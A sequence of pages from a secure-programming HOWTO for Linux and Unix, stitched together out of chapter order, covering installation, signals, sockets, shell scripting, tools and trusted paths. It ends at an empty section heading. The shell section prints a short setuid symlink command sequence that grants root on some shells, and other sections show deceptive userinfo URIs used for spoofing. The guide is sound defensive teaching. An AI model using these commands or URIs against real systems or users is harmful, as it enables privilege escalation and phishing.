Have installation scripts install a program as safely as possible. By default, install all files as owned by root or some other system user and make them unwriteable by others; this prevents non-root users from installing viruses. Indeed, it's best to make them unreadable by all but the trusted user. Allow non-root installation where possible as well, so that users without root privileges and administrators who do not fully trust the installer can still use the program.

When installing, check to make sure that any assumptions necessary for security are true. Some library routines are not safe on some platforms; see the discussion of this in Section 7.1. If you know which platforms your application will run on, you need not check their specific attributes, but in that case you should check to make sure that the program is being installed on only one of those platforms. Otherwise, you should require a manual override to install the program, because you don't know if the result will be secure.

Try to make configuration as easy and clear as possible, including post-installation configuration. Make using the ``secure'' approach as easy as possible, or many users will use an insecure approach without understanding the risks. On Linux, take advantage of tools like linuxconf, so that users can easily configure their system using an existing infrastructure.

If there's a configuration language, the default should be to deny access until the user specifically grants it. Include many clear comments in the sample configuration file, if there is one, so the administrator understands what the configuration does.

Prev | Home | Next
Avoid Creating Setuid/Setgid Scripts | Up | Load Initialization Values Safely


Secure the Interface

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.2. Secure the Interface

Interfaces should be minimal (simple as possible), narrow (provide only the functions needed), and non-bypassable. Trust should be minimized. Consider limiting the data that the user can see.

Prev | Home | Next
Follow Good Software Engineering Principles for Secure Programs | Up | Separate Data and Control


Security Principles

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.2. Security Principles

There are many general security principles which you should be familiar with; one good place for general information on information security is the Information Assurance Technical Framework (IATF) [NSA 2000]. NIST has identified high-level ``generally accepted principles and practices'' [Swanson 1996]. You could also look at a general textbook on computer security, such as [Pfleeger 1997]. A few security principles are summarized here.

Often computer security goals are described in terms of three overall goals:

  • Confidentiality (also known as secrecy), meaning that the computing system's assets are accessible only by authorized parties.

  • Integrity, meaning that the assets can only be modified by authorized parties in authorized ways.

  • Availability, meaning that the assets are accessible to the authorized parties in a timely manner (as determined by the systems requirements). The failure to meet this goal is called a denial of service.

Some people define additional security goals, while others lump those additional goals as special cases of these three goals. For example, some separately identify non-repudiation as a goal; this is the ability to ``prove'' that a sender sent or receiver received a message, even if the sender or receiver wishes to deny it later. Privacy is sometimes addressed separately from confidentiality; some define this as protecting the confidentiality of a user (e.g., their identity) instead of the data. Most goals require identification and authentication, which is sometimes listed as a separate goal. Often auditing (also called accountability) is identified as a desirable security goal. Sometimes ``access control'' and ``authenticity'' are listed separately as well. In any case, it is important to identify your program's overall security goals, no matter how you group those goals together, so that you'll know when you've met them.

Sometimes these goals are a response to a known set of threats, and sometimes some of these goals are required by law. For example, for U.S. banks and other financial institutions, there's a new privacy law called the ``Gramm-Leach-Bliley'' (GLB) Act. This law mandates disclosure of personal information shared and means of securing that data, requires disclosure of personal information that will be shared with third parties, and directs institutions to give customers a chance to opt out of data sharing. [Jones 2000]

There is sometimes conflict between security and some other general system/software engineering principles. Security can sometimes interfere with ``ease of use'', for example, installing a secure configuration may take more effort than a ``trivial'' installation that works but is insecure. Often, this apparent conflict can be resolved, for example, by re-thinking a problem it's often possible to make a secure system also easy to use. There's also sometimes a conflict between security and abstraction (information hiding); for example, some high-level library routines may be implemented securely or not, but their specifications won't tell you. In the end, if your application must be secure, you must do things yourself if you can't be sure otherwise - yes, the library should be fixed, but it's your users who will be hurt by your poor choice of library routines.

A good general security principle is ``defense in depth''; you should have numerous defense mechanisms (``layers'') in place, designed so that an attacker has to defeat multiple mechanisms to perform a successful attack.

Prev | Home | Next
History of Unix, Linux, and Open Source / Free Software | Up | Why do Programmers Write Insecure Code?


Self-limit Resources

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.14. Self-limit Resources

In network daemons, shed or limit excessive loads. Set limit values (using setrlimit(2)) to limit the resources that will be used. At the least, use setrlimit(2) to disable creation of ``core'' files. For example, by default Linux will create a core file that saves all program memory if the program fails abnormally, but such a file might include passwords or other sensitive data.

Prev | Home | Next
Use Internal Consistency-Checking Code | Up | Prevent Cross-Site Malicious Content


Foil Semantic Attacks

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.16. Foil Semantic Attacks

A ``semantic attack'' is an attack in which the attacker uses the computing infrastructure/system in a way that fools the victim into thinking they are doing something, but are doing something different, yet the computing infrastructure/system is working exactly as it was designed to do. Semantic attacks often involve financial scams, where the attacker is trying to fool the victim into giving the attacker large sums of money (e.g., thinking they're investing in something). For example, the attacker may try to convince the user that they're looking at a trusted website, even if they aren't.

Semantic attacks are difficult to counter, because they're exploiting the correct operation of the computer. The way to deal with semantic attacks is to help give the human additional information, so that when ``odd'' things happen the human will have more information or a warning will be presented that something may not be what it appears to be.

One example is URIs that, while legitimate, may fool users into thinking they have a different meaning. For example, look at this URI:
  http://www.bloomberg.com@www.badguy.com
If a user clicked on that URI, they might think that they're going to Bloomberg (who provide financial commodities news), but instead they're going to www.badguy.com (and providing the username www.bloomberg.com, which www.badguy.com will conveniently ignore). If the badguy.com website then imitated the bloomberg.com site, a user might be convinced that they're seeing the real thing (and make investment decisions based on attacker-controlled information). This depends on URIs being used in an unusual way - clickable URIs can have usernames, but usually don't. One solution for this case is for the web browser to detect such unusual URIs and create a pop-up confirmation widget, saying ``You are about to log into www.badguy.com as user www.bloomberg.com; do you wish to proceed?'' If the widget allows the user to change these entries, it provides additional functionality to the user as well as providing protection against that attack.

Another example is homographs, particularly international homographs. Certain letters look similar to each other, and these can be exploited as well. For example, since 0 (zero) and O (the letter O) look similar to each other, users may not realize that WWW.BLOOMBERG.COM and WWW.BL00MBERG.COM are different web addresses. Other similar-looking letters include 1 (one) and l (lower-case L). If international characters are allowed, the situation is worse. For example, many Cyrillic letters look essentially the same as Roman letters, but the computer will treat them differently. Currently most systems don't allow international characters in host names, but for various good reasons it's widely agreed that support for them will be necessary in the future. One proposed solution has been to diplay letters from different code regions using different colors - that way, users get more information visually. If the users look at URI, they will hopefully notice the strange coloring. [Gabrilovich 2002] However, this does show the essence of a semantic attack - it's difficult to defend against, precisely because the computers are working correctly.

Prev | Home | Next
Prevent Cross-Site Malicious Content | Up | Be Careful with Data Types


Shell Scripting Languages (sh and csh Derivatives)

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.4. Shell Scripting Languages (sh and csh Derivatives)

I strongly recommend against using standard command shell scripting languages (such as csh, sh, and bash) for setuid/setgid secure code. Some systems (such as Linux) completely disable setuid/setgid shell scripts, so creating setuid/setgid shell scripts creates an unnecessary portability problem. On some old systems they are fundamentally insecure due to a race condition (as discussed in Section 3.1.3). Even for other systems, they're not really a good idea.

In fact, there are a vast number of circumstances where shell scripting languages shouldn't be used at all for secure programs. Standard command shells are notorious for being affected by nonobvious inputs - generally because command shells were designed to try to do things ``automatically'' for an interactive user, not to defend against a determined attacker. Shell programs are fine for programs that don't need to be secure (e.g., they run at the same privilege as the unprivileged user and don't accept ``untrusted'' data). They can also be useful when they're running with privilege, as long as all the input (e.g., files, directories, command line, environment, etc.) are all from trusted users - which is why they're often used quite successfully in startup/shutdown scripts.

Writing secure shell programs in the presence of malicious input is harder than in many other languages because of all the things that shells are affected by. For example, ``hidden'' environment variables (e.g., the ENV, BASH_ENV, and IFS values) can affect how they operate or even execute arbitrary user-defined code before the script can even execute. Even things like filenames of the executable or directory contents can affect execution. If an attacker can create filenames containing some control characters (e.g., newline), or whitespace, or shell metacharacters, or begin with a dash (the option flag syntax), there are often ways to exploit them. For example, on many Bourne shell implementations, doing the following will grant root access (thanks to NCSA for describing this exploit):
 % ln -s /usr/bin/setuid-shell /tmp/-x
 % cd /tmp
 % -x
Some systems may have closed this hole, but the point still stands: most command shells aren't intended for writing secure setuid/setgid programs. For programming purposes, avoid creating setuid shell scripts, even on those systems that permit them. Instead, write a small program in another language to clean up the environment, then have it call other executables (some of which might be shell scripts).

If you still insist on using shell scripting languages, at least put the script in a directory where it cannot be moved or changed. Set PATH and IFS to known values very early in your script; indeed, the environment should be cleaned before the script is called. Also, very early on, ``cd'' to a safe directory. Use data only from directories that is controlled by trusted users, e.g., /etc, so that attackers can't insert maliciously-named files into those directories. Be sure to quote every filename passed on a command line, e.g., use "$1" not $1, because filenames with whitespace will be split. Call commands using "--" to disable additional options where you can, because attackers may create or pass filenames beginning with dash in the hope of tricking the program into processing it as an option. Examine input filenames especially carefully and be very restrictive on what filenames are permitted.

In a similar vein, I recommend not trusting ``restricted shells'' to implement secure policies. Restricted shells are shells that intentionally prevent users from performing a large set of activities - their goal is to force users to only run a small set of programs. A restricted shell can be useful as a defense-in-depth measure, but restricted shells are notoriously hard to configure correctly and as configured are often subvertable. For example, some restricted shells will start by running some file in an unrestricted mode (e.g., ``.profile'') - if a user can change this file, they can force execution of that code. A restricted shell should be set up to only run a few programs, but if any of those programs have ``shell escapes'' to let users run more programs, attackers can use those shell escapes to escape the restricted shell. Of course, if you don't set the PATH of a restricted shell (and allow any program to run), then an attacker can use the shell escapes of many programs (including text editors, mailers, etc.). The problem is that the purpose of a shell is to run other programs, but those other programs may allow unintended operations -- and the shell doesn't interpose itself to prevent these operations.

Prev | Home | Next
Python | Up | Ada


Signals

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.5. Signals

Signals are a simple form of ``interruption'' in the Unix-like OS world, and are an ancient part of Unix. A process can set a ``signal'' on another process (say using kill(1) or kill(2)), and that other process would receive and handle the signal asynchronously. For a process to have permission to send an arbitrary signal to some other process, the sending process must either have root privileges, or the real or effective user ID of the sending process must equal the real or saved set-user-ID of the receiving process. However, some signals can be sent in other ways. In particular, SIGURG can be delivered over a network through the TCP/IP out-of-band (OOB) message.

Although signals are an ancient part of Unix, they've had different semantics in different implementations. Basically, they involve questions such as ``what happens when a signal occurs while handling another signal''? The older Linux libc 5 used a different set of semantics for some signal operations than the newer GNU libc libraries. Calling C library functions is often unsafe within a signal handler, and even some system calls aren't safe; you need to examine the documentation for each call you make to see if it promises to be safe to call inside a signal. For more information, see the glibc FAQ (on some systems a local copy is available at /usr/doc/glibc-*/FAQ).

For new programs, just use the POSIX signal system (which in turn was based on BSD work); this set is widely supported and doesn't have some of the problems that some of the older signal systems did. The POSIX signal system is based on using the sigset_t datatype, which can be manipulated through a set of operations: sigemptyset(), sigfillset(), sigaddset(), sigdelset(), and sigismember(). You can read about these in sigsetops(3). Then use sigaction(2), sigprocmask(2), sigpending(2), and sigsuspend(2) to set up an manipulate signal handling (see their man pages for more information).

In general, make any signal handlers very short and simple, and look carefully for race conditions. Signals, since they are by nature asynchronous, can easily cause race conditions.

A common convention exists for servers: if you receive SIGHUP, you should close any log files, reopen and reread configuration files, and then re-open the log files. This supports reconfiguration without halting the server and log rotation without data loss. If you are writing a server where this convention makes sense, please support it.

Michal Zalewski [2001] has written an excellent tutorial on how signal handlers are exploited, and has recommendations for how to eliminate signal race problems. I encourage looking at his summary for more information; here are my recommendations, which are similar to Michal's work:

  • Where possible, have your signal handlers unconditionally set a specific flag and do nothing else.

  • If you must have more complex signal handlers, use only calls specifically designated as being safe for use in signal handlers. In particular, don't use malloc() or free() in C (which on most systems aren't protected against signals), nor the many functions that depend on them (such as the printf() family and syslog()). You could try to ``wrap'' calls to insecure library calls with a check to a global flag (to avoid re-entry), but I wouldn't recommend it.

  • Block signal delivery during all non-atomic operations in the program, and block signal delivery inside signal handlers.

Prev | Home | Next
Sockets and Network Connections | Up | Quotas and Limits


Sockets and Network Connections

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.4. Sockets and Network Connections

Sockets are used for communication, particularly over a network. Sockets were originally developed by the BSD branch of Unix systems, but they are generally portable to other Unix-like systems: Linux and System V variants support sockets as well, and socket support is required by the Open Group's Single Unix Specification [Open Group 1997]. System V systems traditionally used a different (incompatible) network communication interface, but it's worth noting that systems like Solaris include support for sockets. Socket(2) creates an endpoint for communication and returns a descriptor, in a manner similar to open(2) for files. The parameters for socket specify the protocol family and type, such as the Internet domain (TCP/IP version 4), Novell's IPX, or the ``Unix domain''. A server then typically calls bind(2), listen(2), and accept(2) or select(2). A client typically calls bind(2) (though that may be omitted) and connect(2). See these routine's respective man pages for more information. It can be difficult to understand how to use sockets from their man pages; you might want to consult other papers such as Hall "Beej" [1999] to learn how these calls are used together.

The ``Unix domain sockets'' don't actually represent a network protocol; they can only connect to sockets on the same machine. (at the time of this writing for the standard Linux kernel). When used as a stream, they are fairly similar to named pipes, but with significant advantages. In particular, Unix domain socket is connection-oriented; each new connection to the socket results in a new communication channel, a very different situation than with named pipes. Because of this property, Unix domain sockets are often used instead of named pipes to implement IPC for many important services. Just like you can have unnamed pipes, you can have unnamed Unix domain sockets using socketpair(2); unnamed Unix domain sockets are useful for IPC in a way similar to unnamed pipes.

There are several interesting security implications of Unix domain sockets. First, although Unix domain sockets can appear in the filesystem and can have stat(2) applied to them, you can't use open(2) to open them (you have to use the socket(2) and friends interface). Second, Unix domain sockets can be used to pass file descriptors between processes (not just the file's contents). This odd capability, not available in any other IPC mechanism, has been used to hack all sorts of schemes (the descriptors can basically be used as a limited version of the ``capability'' in the computer science sense of the term). File descriptors are sent using sendmsg(2), where the msg (message)'s field msg_control points to an array of control message headers (field msg_controllen must specify the number of bytes contained in the array). Each control message is a struct cmsghdr followed by data, and for this purpose you want the cmsg_type set to SCM_RIGHTS. A file descriptor is retrieved through recvmsg(2) and then tracked down in the analogous way. Frankly, this feature is quite baroque, but it's worth knowing about.

Linux 2.2 and later supports an additional feature in Unix domain sockets: you can acquire the peer's ``credentials'' (the pid, uid, and gid). Here's some sample code:
 /* fd= file descriptor of Unix domain socket connected
    to the client you wish to identify */

 struct ucred cr;
 int cl=sizeof(cr);

 if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &cr, &cl)==0) {
   printf("Peer's pid=%d, uid=%d, gid=%d\n",
           cr.pid, cr.uid, cr.gid);

Standard Unix convention is that binding to TCP and UDP local port numbers less than 1024 requires root privilege, while any process can bind to an unbound port number of 1024 or greater. Linux follows this convention, more specifically, Linux requires a process to have the capability CAP_NET_BIND_SERVICE to bind to a port number less than 1024; this capability is normally only held by processes with an EUID of 0. The adventurous can check this in Linux by examining its Linux's source; in Linux 2.2.12, it's file /usr/src/linux/net/ipv4/af_inet.c, function inet_bind().

Prev | Home | Next
System V IPC | Up | Signals


Sources of Design and Implementation Guidelines

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.8. Sources of Design and Implementation Guidelines

Several documents help describe how to write secure programs (or, alternatively, how to find security problems in existing programs), and were the basis for the guidelines highlighted in the rest of this book.

For general-purpose servers and setuid/setgid programs, there are a number of valuable documents (though some are difficult to find without having a reference to them).

Matt Bishop [1996, 1997] has developed several extremely valuable papers and presentations on the topic, and in fact he has a web page dedicated to the topic at http://olympus.cs.ucdavis.edu/~bishop/secprog.html. AUSCERT has released a programming checklist [AUSCERT 1996], based in part on chapter 23 of Garfinkel and Spafford's book discussing how to write secure SUID and network programs [Garfinkel 1996]. Galvin [1998a] described a simple process and checklist for developing secure programs; he later updated the checklist in Galvin [1998b]. Sitaker [1999] presents a list of issues for the ``Linux security audit'' team to search for. Shostack [1999] defines another checklist for reviewing security-sensitive code. The NCSA [NCSA] provides a set of terse but useful secure programming guidelines. Other useful information sources include the Secure Unix Programming FAQ [Al-Herbish 1999], the Security-Audit's Frequently Asked Questions [Graham 1999], and Ranum [1998]. Some recommendations must be taken with caution, for example, the BSD setuid(7) man page [Unknown] recommends the use of access(3) without noting the dangerous race conditions that usually accompany it. Wood [1985] has some useful but dated advice in its ``Security for Programmers'' chapter. Bellovin [1994] includes useful guidelines and some specific examples, such as how to restructure an ftpd implementation to be simpler and more secure. FreeBSD provides some guidelines FreeBSD [1999] [Quintero 1999] is primarily concerned with GNOME programming guidelines, but it includes a section on security considerations. [Venema 1996] provides a detailed discussion (with examples) of some common errors when programming secure programs (widely-known or predictable passwords, burning yourself with malicious data, secrets in user-accessible data, and depending on other programs). [Sibert 1996] describes threats arising from malicious data.

There are many documents giving security guidelines for programs using the Common Gateway Interface (CGI) to interface with the web. These include Van Biesbrouck [1996], Gundavaram [unknown], [Garfinkle 1997] Kim [1996], Phillips [1995], Stein [1999], [Peteanu 2000], and [Advosys 2000].

There are many documents specific to a language, which are further discussed in the language-specific sections of this book. For example, the Perl distribution includes perlsec(1), which describes how to use Perl more securely. The Secure Internet Programming site at http://www.cs.princeton.edu/sip is interested in computer security issues in general, but focuses on mobile code systems such as Java, ActiveX, and JavaScript; Ed Felten (one of its principles) co-wrote a book on securing Java ([McGraw 1999]) which is discussed in Section 9.6. Sun's security code guidelines provide some guidelines primarily for Java and C; it is available at http://java.sun.com/security/seccodeguide.html.

Yoder [1998] contains a collection of patterns to be used when dealing with application security. It's not really a specific set of guidelines, but a set of commonly-used patterns for programming that you may find useful. The Schmoo group maintains a web page linking to information on how to write secure code at http://www.shmoo.com/securecode.

There are many documents describing the issue from the other direction (i.e., ``how to crack a system''). One example is McClure [1999], and there's countless amounts of material from that vantage point on the Internet. There are also more general documents on computer architectures on how attacks must be developed to exploit them, e.g., [LSD 2001]. The Honeynet Project has been collecting information (including statistics) on how attackers actually perform their attacks; see their website at http://project.honeynet.org for more information.

There's also a large body of information on vulnerabilities already identified in existing programs. This can be a useful set of examples of ``what not to do,'' though it takes effort to extract more general guidelines from the large body of specific examples. There are mailing lists that discuss security issues; one of the most well-known is Bugtraq, which among other things develops a list of vulnerabilities. The CERT Coordination Center (CERT/CC) is a major reporting center for Internet security problems which reports on vulnerabilities. The CERT/CC occasionally produces advisories that provide a description of a serious security problem and its impact, along with instructions on how to obtain a patch or details of a workaround; for more information see http://www.cert.org. Note that originally the CERT was a small computer emergency response team, but officially ``CERT'' doesn't stand for anything now. The Department of Energy's Computer Incident Advisory Capability (CIAC) also reports on vulnerabilities. These different groups may identify the same vulnerabilities but use different names. To resolve this problem, MITRE supports the Common Vulnerabilities and Exposures (CVE) list which creates a single unique identifier (``name'') for all publicly known vulnerabilities and security exposures identified by others; see http://www.cve.mitre.org. NIST's ICAT is a searchable catalog of computer vulnerabilities, categorizing each CVE vulnerability so that they can be searched and compared later; see http://csrc.nist.gov/icat.

This book is a summary of what I believe are the most useful and important guidelines. My goal is a book that a good programmer can just read and then be fairly well prepared to implement a secure program. No single document can really meet this goal, but I believe the attempt is worthwhile. My objective is to strike a balance somewhere between a ``complete list of all possible guidelines'' (that would be unending and unreadable) and the various ``short'' lists available on-line that are nice and short but omit a large number of critical issues. When in doubt, I include the guidance; I believe in that case it's better to make the information available to everyone in this ``one stop shop'' document. The organization presented here is my own (every list has its own, different structure), and some of the guidelines (especially the Linux-unique ones, such as those on capabilities and the FSUID value) are also my own. Reading all of the referenced documents listed above as well is highly recommended, though I realize that for many it's impractical.

Prev | Home | Next
Why Did I Write This Document? | Up | Other Sources of Security Information


Special Topics

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 10. Special Topics

Understanding is a fountain of life to those who have it, but folly brings punishment to fools.
Proverbs 16:22 (NIV)
Table of Contents
10.1. Passwords
10.2. Authenticating on the Web
10.2.1. Authenticating on the Web: Logging In
10.2.2. Authenticating on the Web: Subsequent Actions
10.2.3. Authenticating on the Web: Logging Out
10.3. Random Numbers
10.4. Specially Protect Secrets (Passwords and Keys) in User Memory
10.5. Cryptographic Algorithms and Protocols
10.5.1. Cryptographic Protocols
10.5.2. Symmetric Key Encryption Algorithms
10.5.3. Public Key Algorithms
10.5.4. Cryptographic Hash Algorithms
10.5.5. Integrity Checking
10.5.6. Other Cryptographic Issues
10.6. Using PAM
10.7. Tools
10.8. Windows CE
10.9. Write Audit Records
10.10. Physical Emissions
10.11. Miscellaneous
Prev | Home | Next
PHP |  | Passwords


System V IPC

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.3. System V IPC

Many Unix-like systems, including Linux and System V systems, support System V interprocess communication (IPC) objects. Indeed System V IPC is required by the Open Group's Single UNIX Specification, Version 2 [Open Group 1997]. System V IPC objects can be one of three kinds: System V message queues, semaphore sets, and shared memory segments. Each such object has the following attributes:

  • read and write permissions for each of creator, creator group, and others.

  • creator UID and GID - UID and GID of the creator of the object.

  • owning UID and GID - UID and GID of the owner of the object (initially equal to the creator UID).

When accessing such objects, the rules are as follows:

  • if the process has root privileges, the access is granted.

  • if the process' EUID is the owner or creator UID of the object, then the appropriate creator permission bit is checked to see if access is granted.

  • if the process' EGID is the owner or creator GID of the object, or one of the process' groups is the owning or creating GID of the object, then the appropriate creator group permission bit is checked for access.

  • otherwise, the appropriate ``other'' permission bit is checked for access.

Note that root, or a process with the EUID of either the owner or creator, can set the owning UID and owning GID and/or remove the object. More information is available in ipc(5).

Prev | Home | Next
Files | Up | Sockets and Network Connections


TCL

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.7. TCL

Tcl stands for ``tool command language'' and is pronounced ``tickle.'' TCL is divided into two parts: a language and a library. The language is a simple text language, intended for issuing commands to interactive programs and including basic programming capabilities. The library can be embedded in application programs.

You can find more information about TCL at sites such as the TCL WWW Info web page. Probably of most interest are Safe-TCL (which creates a sandbox in TCL) and Safe-TK (which implements a sandboxed portable GUI for Safe-TCL), as well as the WebWiseTclTk Toolkit permits TCL packages to be automatically located and loaded from anywhere on the World Wide Web. You can find more about the latter from http://www.cbl.ncsu.edu/software/WebWiseTclTk. It's not clear to me how much code review this has received. More useful information is available from the comp.lang.tcl FAQ launch page at http://www.tclfaq.wservice.com/tcl-faq. However, it's worth noting that TCL's desire to be a small, ``simple'' language results in a language that can be rather limiting; see Richard Stallman's ``Why You Should Not Use TCL''. For example, TCL's notion that there is essentially only one data type (string) can make many programs harder to write (as well as making them slow). Also, when I've written TCL programs I've found that it's easy to accidentally create TCL programs where malicious input strings can cause untoward and unexpected behavior. For example, an attackers may be able to cause your TCL program to do unexpected things by sending characters with special meaning to TCL such as embedded spaces, double-quote, curly braces, dollar signs, or brackets (or create input to cause these characters to be created during processing). Thus, I don't recommend TCL for writing programs which must mediate a security boundary. If you do choose to do so, be especially careful to ensure that user input cannot ``fool'' the program. On the other hand, I know of no strong reason (other than insufficient review) that TCL programs can't be used to implement mobile code. There are certainly TCL advocates who will advocate more use than I do, and TCL is one of the few languages with a ready-made sandbox implementation.

Prev | Home | Next
Java | Up | PHP


Tools

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.7. Tools

Some tools may help you detect security problems before you field the result. They can't find all such problems, of course, but they can help catch problems that would overwise slip by. Here are a few tools, emphasizing open source / free software tools.

One obvious type of tool is a program to examine the source code to search for patterns of known potential security problems (e.g., calls to library functions in ways are often the source of security vulnerabilities). These kinds of programs are called ``source code scanners''. Here are a few such tools:

  • RATS (Rough Auditing Tool for Security) from Secure Software Solutions is available at http://www.securesw.com/rats. This program scans C/C++ source code for common problems, and is licensed under the GPL.

  • Flawfinder, which I"ve developed; it's available at http://www.dwheeler.com/flawfinder. This is also a program that scans C/C++ source code for common problems, and is also licensed under the GPL. Unlike RATS, flawfinder is implemented in Python. The developers of RATS and Flawfinder have agreed to find a way to work together to create a single ``best of breed'' open source program.

  • ITS4 from Cigital (formerly Reliable Software Technologies, RST) also statically checks C/C++ code. It is available free for non-commercial use, including its source code and with certain modification and redistribution rights. Note that this isn't released as ``open source'' as defined by the Open Source Definition (OSD) - In particular, OSD point 6 forbids ``non-commercial use only'' clauses in open source licenses. ITS4 is available at http://www.rstcorp.com/its4.

  • LCLint is a tool for statically checking C programs. With minimal effort, LCLint can be used as a better lint. If additional effort is invested adding annotations to programs, LCLint can perform stronger checking than can be done by any standard lint. For example, it can be used to statically detect likely buffer overflows. The software is licensed under the GPL and is available from http://lclint.cs.virginia.edu.

  • cqual is a type-based analysis tool for finding bugs in C programs. cqual extends the type system of C with extra user-defined type qualifiers, e.g., it can note that values are ``tainted'' or ``untainted'' (similar to Perl's taint checking). The programmer annotates their program in a few places, and cqual performs qualifier inference to check whether the annotations are correct. cqual presents the analysis results using Program Analysis Mode, an emacs-based interface. The current version of cqual can detect potential format-string vulnerabilities in C programs. A previous incarnation of cqual, Carillon, has been used to find Y2K bugs in C programs. The software is licensed under the GPL and is available from http://www.cs.berkeley.edu/Research/Aiken/cqual.

  • Cyclone is a C-like language intended to remove C's security weaknesses. In theory, you can always switch to a language that is ``more secure,'' but this doesn't always help (a language can help you avoid common mistakes but it can't read your mind). John Viega has reviewed Cyclone, and in December 2001 he said: ``Cyclone is definitely a neat language. It's a C dialect that doesn't feel like it's taking away any power, yet adds strong safety guarantees, along with numerous features that can be a real boon to programmers. Unfortunately, Cyclone isn't yet ready for prime time. Even with crippling limitations aside, it doesn't yet offer enough advantages over Java (or even C with a good set of tools) to make it worth the risk of using what is still a very young technology. Perhaps in a few years, Cyclone will mature into a robust, widely supported language that comes dangerously close to C in terms of efficiency. If that day comes, you'll certainly see me abandoning C for good.'' The Cyclone compiler has been released under the GPL and LGPL. You can get more information from the Cyclone web site.

Another approach is to create test patterns and run the program, in attempt to find weaknesses in the program. Here are a few such tools:

  • BFBTester, the Brute Force Binary Tester, is licensed under the GPL. This program does quick security checks of binary programs. BFBTester performs checks of single and multiple argument command line overflows and environment variable overflows. Version 2.0 and higher can also watch for tempfile creation activity (to check for using unsafe tempfile names). At one time BFBTester didn't run on Linux (due to a technical issue in Linux's POSIX threads implementation), but this has been fixed as of version 2.0.1. More information is available at http://bfbtester.sourceforge.net/

  • The fuzz program is a tool for testing other software. It tests programs by bombarding the program being evaluated with random data. This tool isn't really specific to security.

There are a number tools that try to give you insight into running programs that can also be useful when trying to find security problems in your code. This includes symbolic debuggers (such as gdb) and trace programs (such as strace and ltrace). A program you may not be familiar with is Fenris (GPL license). Its documentation describes Fenris as a ``multipurpose tracer, stateful analyzer and partial decompiler intended to simplify bug tracking, security audits, code, algorithm or protocol analysis - providing a structural program trace, general information about internal constructions, execution path, memory operations, I/O, conditional expressions and much more.'' Another interesting program along these lines is Subterfugue.

If you're building a common kind of product where many standard potential flaws exist (like an ftp server or firewall), you might find standard security scanning tools useful. One good one is Nessus; there are many others. These kinds of tools are very useful for doing regression testing, but since they essentially use a list of past specific vulnerabilities and common configuration errors, they may not be very helpful in finding problems in new programs.

Often, you'll need to call on other tools to implement your secure infrastructure. The Open-Source PKI Book describes a number of open source programs for implmenting a public key infrastructure (PKI).

Of course, running a ``secure'' program on an insecure platform configuration makes little sense. You may want to examine hardening systems, which attempt to configure or modify systems to be more resistant to attacks. For Linux, one hardening system is Bastille Linux, available at http://www.bastille-linux.org.

Prev | Home | Next
Using PAM | Up | Windows CE


Set up a Trusted Path

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.12. Set up a Trusted Path

The counterpart to needing trustworthy channels (see Section 6.11) is assuring users that they really are working with the program or system they intended to use.

The traditional example is a ``fake login'' program. If a program is written to look like the login screen of a system, then it can be left running. When users try to log in, the fake login program can then capture user passwords for later use.

A solution to this problem is a ``trusted path.'' A trusted path is simply some mechanism that provides confidence that the user is communicating with what the user intended to communicate with, ensuring that attackers can't intercept or modify whatever information is being communicated.

If you're asking for a password, try to set up trusted path. Unfortunately, stock Linux distributions and many other Unixes don't have a trusted path even for their normal login sequence. One approach is to require pressing an unforgeable key before login, e.g., Windows NT/2000 uses ``control-alt-delete'' before logging in; since normal programs in Windows can't intercept this key pattern, this approach creates a trusted path. There's a Linux equivalent, termed the Secure Attention Key (SAK); it's recommended that this be mapped to ``control-alt-pause''. Unfortunately, at the time of this writing SAK is immature and not well-supported by Linux distributions. Another approach for implementing a trusted path locally is to control a separate display that only the login program can perform. For example, if only trusted programs could modify the keyboard lights (the LEDs showing Num Lock, Caps Lock, and Scroll Lock), then a login program could display a running pattern to indicate that it's the real login program. Unfortunately, since in current Linux normal users can change the LEDs, the LEDs can't currently be used to confirm a trusted path.

Sadly, the problem is much worse for network applications. Although setting up a trusted path is desirable for network applications, completely doing so is quite difficult. When sending a password over a network, at the very least encrypt the password between trusted endpoints. This will at least prevent eavesdropping of passwords by those not connected to the system, and at least make attacks harder to perform. If you're concerned about trusted path for the actual communication, make sure that the communication is encrypted and authenticated (or at least authenticated).

It turns out that this isn't enough to have a trusted path to networked applications, in particular for web-based applications. There are documented methods for fooling users of web browsers into thinking that they're at one place when they are really at another. For example, Felten [1997] discusses ``web spoofing'', where users believe they're viewing one web page when in fact all the web pages they view go through an attacker's site (who can then monitor all traffic and modify any data sent in either direction). This is accomplished by rewriting URL. The rewritten URLs can be made nearly invisible by using other technology (such as Javascript) to hide any possible evidence in the status line, location line, and so on. See their paper for more details. Another technique for hiding such URLs is exploiting rarely-used URL syntax, for example, the URL ``http://www.ibm.com/stuff@mysite.com'' is actually a request to view ``mysite.com'' (a potentially malevolent site) using the unusual username ``www.ibm.com/stuff'. If the URL is long enough, the real material won't be displayed and users are unlikely to notice the exploit anyway. Yet another approach is to create sites with names deliberately similar to the ``real'' site - users may not know the difference. In all of these cases, simply encrypting the line doesn't help - the attacker can be quite content in encrypting data while completely controlling what's shown.

Countering these problems is more difficult; at this time I have no good technical solution for fully preventing ``fooled'' web users. I would encourage web browser developers to counter such ``fooling'', making it easier to spot. If it's critical that your users correctly connect to the correct site, have them use simple procedures to counter the threat. Examples include having them halt and restart their browser, and making sure that the web address is very simple and not normally misspelled (so misspelling it is unlikely). You might also want to gain ownership of some ``similar'' sounding DNS names, and search for other such DNS names and material to find attackers.

Prev | Home | Next
Trust Only Trustworthy Channels | Up | Use Internal Consistency-Checking Code


Trust Only Trustworthy Channels

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.11. Trust Only Trustworthy Channels

